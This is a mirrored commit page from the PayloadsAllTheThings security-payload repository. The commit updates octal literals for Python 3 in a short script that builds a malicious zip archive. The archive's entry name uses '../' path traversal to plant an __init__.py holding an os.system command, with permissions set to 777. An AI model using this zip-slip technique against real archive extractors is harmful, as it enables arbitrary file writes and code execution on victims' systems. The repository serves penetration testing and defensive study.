1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-06-08 04:16:16 +02:00

Merge pull request #22 from cclauss/patch-1

Use octal numbers that work in both Python 2 and 3
This commit is contained in:
Swissky 2018-09-02 15:57:48 +02:00 committed by GitHub
commit 011baa7321
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -15,5 +15,5 @@ for d in directories:
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
z_info.external_attr = 0777 << 16L
z_info.external_attr = 0o777 << 16
z_file.close()